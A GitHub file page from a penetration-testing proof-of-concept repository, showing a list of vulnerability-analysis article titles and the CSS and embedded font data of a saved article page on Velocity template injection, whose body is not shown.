Penetration_Testing_POC/books/JAVA安全之Velocity模板注入刨析.html
Mrxn 8f4b9de47c add 漏洞复现+代码审计+IOT相关文章合计61篇
(Nday)泛微E-office 10 OfficeServer.php 下载_上传漏洞分析
2024 RWCTF群晖 BC500摄像头RCE--未授权_栈溢出
CVE-2024-30188 Apache DolphinScheduler 任意文件读写漏洞分析
CVE-2024-36412 SuiteCRM未授权sql注入分析
CVE-2024-38856 Apache OFBiz Authentication Bypass
CVE-2024-43044 Jenkins Remoting远程代码执行漏洞分析
Dedecms后台RCE的一些方法 – fushulingのblog
Exchange邮服渗透技巧
H3C-iMC智能管理中心autoDeploy.
JAVA安全之Velocity模板注入刨析
Laravel 11.x 反序列化链分析
Nacos 0day(derby_源码)分析 _ 不出网利用
Nacos <=2.4.0.1 任意文件读写删
Spring Cloud Data Flow 漏洞分析(CVE-2024-22263_CVE-2024-37084)
Unnamed page.NET恶意软件Dark Crystal RAT的详细样本分析
Zimbra 邮服渗透技巧
Zimbra邮服渗透技巧
java中js命令执行与绕过 - unam4
java中js命令执行的攻与防
wookteam协作平台searchinfo接口SQL注入漏洞分析
【原创】Xinhu RockOA v2.6.2 SQL注入漏洞 _ 安全团队贡献平台
【原创】(CVE-2024-7919)安徽德顺智能科技有限公司 JIELINK_ INTELLIGENT TERMINAL OPERATION PLATROFM 未授权访问漏洞 _ 安全团队贡献平台
【原创】(CVE-2024-7920)安徽德顺智能科技有限公司 JIELINK_ INTELLIGENT TERMINAL OPERATION PLATROFM 信息泄露漏洞 _ 安全团队贡献平台
【原创】(CVE-2024-7921)安徽德顺智能科技有限公司 JIELINK_ INTELLIGENT TERMINAL OPERATION PLATROFM 信息泄露漏洞 _ 安全团队贡献平台
万户graph include.jsp sql注入的漏洞分析
万户oa中receivefile_gd存在SQL注入
亿赛通新一代电子文档安全管理系统 SecretKeyService SQL注入漏洞
亿赛通新一代电子文档安全管理系统 logincontroller JNDI注入致远程代码执行漏洞(XVE-2024-8758)
亿赛通新一代电子文档安全管理系统-LogDownLoadService-mssql-sql注入漏洞分析
亿赛通电子文档安全管理系统 CDGAuthoriseTempletService1 SecretLevelId SQL注入漏洞代码分析
亿赛通电子文档安全管理系统 CDGAuthoriseTempletService1 SecretLevelId SQL注入漏洞代码分析2
亿赛通电子文档安全管理系统DecryptionApp反序列化漏洞RCE
从seacms12.9教你学会代码审计
代码审计之nbcio-boot从信息泄露到Getshell
信呼OA nickName SQL注入漏洞复现(XVE-2024-19304)
内网活动目录利用方法
内网渗透横向移动技巧
域内日志分析
安卓逆向——Frida的进阶用法
帆软 FineReport ReportServer SQL注入致RCE漏洞
悦库企业网盘 userlogin
护网红队-从apk反编译审计到getshell全过程
易宝oa软件两处-ExecuteSqlForSingle注入分析与复现
智慧校园(安校易)管理系统 ReceiveClassVideo.ashx 存在文件上传漏洞
比较有意思的几个漏洞挖掘记录
泛微e-cology testConnByBasePassword JDNI注入致远程代码执行漏洞分析(XVE-2024-20913)
泛微云桥e-Bridge addResume任意文件上传漏洞分析
浅析通天星CMSV6车载定位监控平台远程代码执行漏洞
海康威视iSecure Center综合安防管理平台认证绕过分析
海康威视综合安防管理平台clusters页面文件上传漏洞
海康威视综合安防管理平台uploadAllPackage任意文件上传漏洞复现分析
海康威视综合安防系统 detection 接口远程命令执行
深澜认证计费系统代码审计(登录绕过_前后台RCE_文件读取_信息泄漏_XXS_SSRF)
用友NC complainbilldetail SQL注入漏洞
用友致远OA后台RCE constDef.do命令执行漏洞分析
积木报表AviatorScript代码注入RCE分析
章管家印章智慧管理平台 listUploadIntelligent接口sql注入漏洞分析与复现
蓝凌OA WechatLoginHelper.do SQL注入漏洞复现分析
记一次Spring boot框架代审与思考
记一次对通天星CMSV6车载视频监控平台的多个漏洞(getImage、delete.do、disable、merge、upload、SESSION伪造、StandardLoginAction_getAllUser、反序列化、xz_center)分析复现
记一次有趣的通达OA审计过程
2024-08-30 22:09:31 -07:00

1002 lines
395 KiB
HTML
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<!DOCTYPE html> <html lang=en style><!--
Page saved with SingleFile
url: https://xz.aliyun.com/t/15358
--><meta charset=utf-8>
<title>JAVA安全之Velocity模板注入刨析</title>
<meta name=description content=先知社区,先知安全技术社区>
<meta name=viewport content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
<style>/*!
* Bootstrap v2.3.1
*
* Copyright 2012 Twitter, Inc
* Licensed under the Apache License v2.0
* http://www.apache.org/licenses/LICENSE-2.0
*
* Designed and built with all the love in the world @twitter by @mdo and @fat.
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}footer{display:block}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}a:hover,a:active{outline:0}img{height:auto;vertical-align:middle;-ms-interpolation-mode:bicubic}input{margin:0}button{-webkit-appearance:button}@media print{*{color:#000!important;text-shadow:none!important;background:transparent!important;box-shadow:none!important}a,a:visited{text-decoration:underline}a[href]:after{content:" ("attr(href)")"}.ir a:after,a[href^="javascript:"]:after,a[href^="#"]:after{content:""}pre{border:1px solid #999;page-break-inside:avoid}img{page-break-inside:avoid}img{max-width:100%!important}@page{margin:.5cm}p,h3{orphans:3;widows:3}h3{page-break-after:avoid}}body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:20px;color:#333}a{text-decoration:none}a:hover,a:focus{color:#005580;text-decoration:underline}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}.container{width:940px}.span10{width:780px}.container{margin-right:auto;margin-left:auto}.container:before,.container:after{display:table;line-height:0;content:""}.container:after{clear:both}p{margin:0 0 10px}strong{font-weight:bold}.text-right{text-align:right}.text-center{text-align:center}h3,h4,h5{margin:10px 0;font-family:inherit;font-weight:bold;line-height:20px;color:inherit;text-rendering:optimizelegibility}h4{font-size:17.5px}ul{padding:0}hr{margin:20px 0;border:0;border-top:1px solid #eee;border-bottom:1px solid #fff}pre{color:#333;-webkit-border-radius:3px;-moz-border-radius:3px}pre{display:block;margin:0 0 10px;white-space:pre-wrap;border:1px solid rgba(0,0,0,0.15);-webkit-border-radius:4px;-moz-border-radius:4px}input{font-weight:normal}input{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}input[type="text"]{display:inline-block;padding:4px 6px;margin-bottom:10px;font-size:14px;line-height:20px;vertical-align:middle;-webkit-border-radius:4px;-moz-border-radius:4px}input{width:206px}input[type="text"]{background-color:#fff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s}textarea:focus,input[type="text"]:focus,input[type="password"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="color"]:focus,.uneditable-input:focus{border-color:rgba(82,168,236,0.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6)}input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#999}input{margin-left:0}input:focus:invalid,textarea:focus:invalid,select:focus:invalid{color:#b94a48;border-color:#ee5f5b}input:focus:invalid:focus,textarea:focus:invalid:focus,select:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7}.fade{opacity:0;-webkit-transition:opacity .15s linear;-moz-transition:opacity .15s linear;-o-transition:opacity .15s linear}.collapse{position:relative;-webkit-transition:height .35s ease;-moz-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease}.btn{text-shadow:0 1px 1px rgba(255,255,255,0.75);vertical-align:middle;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;border:1px solid #ccc;border-bottom-color:#b3b3b3;-webkit-border-radius:4px;-moz-border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05)}.btn:hover,.btn:focus,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{color:#333;background-color:#e6e6e6;*background-color:#d9d9d9}.btn:active,.btn.active{background-color:#ccc \9}.btn:first-child{*margin-left:0}.btn:hover,.btn:focus{color:#333;text-decoration:none;background-position:0-15px;-webkit-transition:background-position .1s linear;-moz-transition:background-position .1s linear;-o-transition:background-position .1s linear;transition:background-position .1s linear}.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05)}.btn-primary{text-shadow:0-1px 0 rgba(0,0,0,0.25);background-image:-moz-linear-gradient(top,#08c,#04c);background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#04c));background-image:-webkit-linear-gradient(top,#08c,#04c);background-image:-o-linear-gradient(top,#08c,#04c);background-repeat:repeat-x}.btn-primary:hover,.btn-primary:focus,.btn-primary:active,.btn-primary.active,.btn-primary.disabled,.btn-primary[disabled]{color:#fff;background-color:#04c;*background-color:#003bb3}.btn-primary:active,.btn-primary.active{background-color:#039 \9}.navbar{margin-bottom:20px;overflow:visible}.navbar-inner{background-color:#fafafa;background-image:-moz-linear-gradient(top,#fff,#f2f2f2);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#f2f2f2));background-image:-webkit-linear-gradient(top,#fff,#f2f2f2);background-image:-o-linear-gradient(top,#fff,#f2f2f2);background-image:linear-gradient(to bottom,#fff,#f2f2f2);background-repeat:repeat-x;border:1px solid #d4d4d4;-webkit-border-radius:4px;-moz-border-radius:4px;-webkit-box-shadow:0 1px 4px rgba(0,0,0,0.065);-moz-box-shadow:0 1px 4px rgba(0,0,0,0.065)}.navbar-inner:before,.navbar-inner:after{display:table;line-height:0;content:""}.navbar-inner:after{clear:both}.navbar .container{width:auto}.nav-collapse.collapse{height:auto;overflow:visible}.navbar .brand{float:left;font-size:20px;font-weight:200;color:#777;text-shadow:0 1px 0#fff}.navbar .brand:hover,.navbar .brand:focus{text-decoration:none}.breadcrumb{margin:0 0 20px;list-style:none;-webkit-border-radius:4px;-moz-border-radius:4px}.modal{position:fixed;left:50%;z-index:1050;width:560px;margin-left:-280px;background-color:#fff;border:1px solid rgba(0,0,0,0.3);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;outline:0;-webkit-box-shadow:0 3px 7px rgba(0,0,0,0.3);-moz-box-shadow:0 3px 7px rgba(0,0,0,0.3);box-shadow:0 3px 7px rgba(0,0,0,0.3);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box}.modal.fade{top:-25%;-webkit-transition:opacity .3s linear,top .3s ease-out;-moz-transition:opacity .3s linear,top .3s ease-out;-o-transition:opacity .3s linear,top .3s ease-out;transition:opacity .3s linear,top .3s ease-out}.modal-header{padding:9px 15px;border-bottom:1px solid #eee}.modal-body{position:relative;max-height:400px;padding:15px;overflow-y:auto}.modal-footer{padding:14px 15px 15px;margin-bottom:0;text-align:right;background-color:#f5f5f5;border-top:1px solid #ddd;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;-webkit-box-shadow:inset 0 1px 0#fff;-moz-box-shadow:inset 0 1px 0#fff;box-shadow:inset 0 1px 0#fff}.modal-footer:before,.modal-footer:after{display:table;line-height:0;content:""}.modal-footer:after{clear:both}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.label{white-space:nowrap;vertical-align:baseline}.label{-webkit-border-radius:3px;-moz-border-radius:3px}.label:empty,.badge:empty{display:none}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-moz-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-ms-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:0 0}to{background-position:40px 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}</style>
<style>/*! Editor.md v1.5.0 | editormd.min.css | Open source online markdown editor. | MIT License | By: Pandao | https://github.com/pandao/editor.md | 2015-06-09 *//*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
*/@font-face{font-family:FontAwesome;src:/* original URL: https://xz.aliyun.com/static/editor.md/fonts/fontawesome-webfont.woff2?v=4.3.0 */url(data:font/woff2;base64,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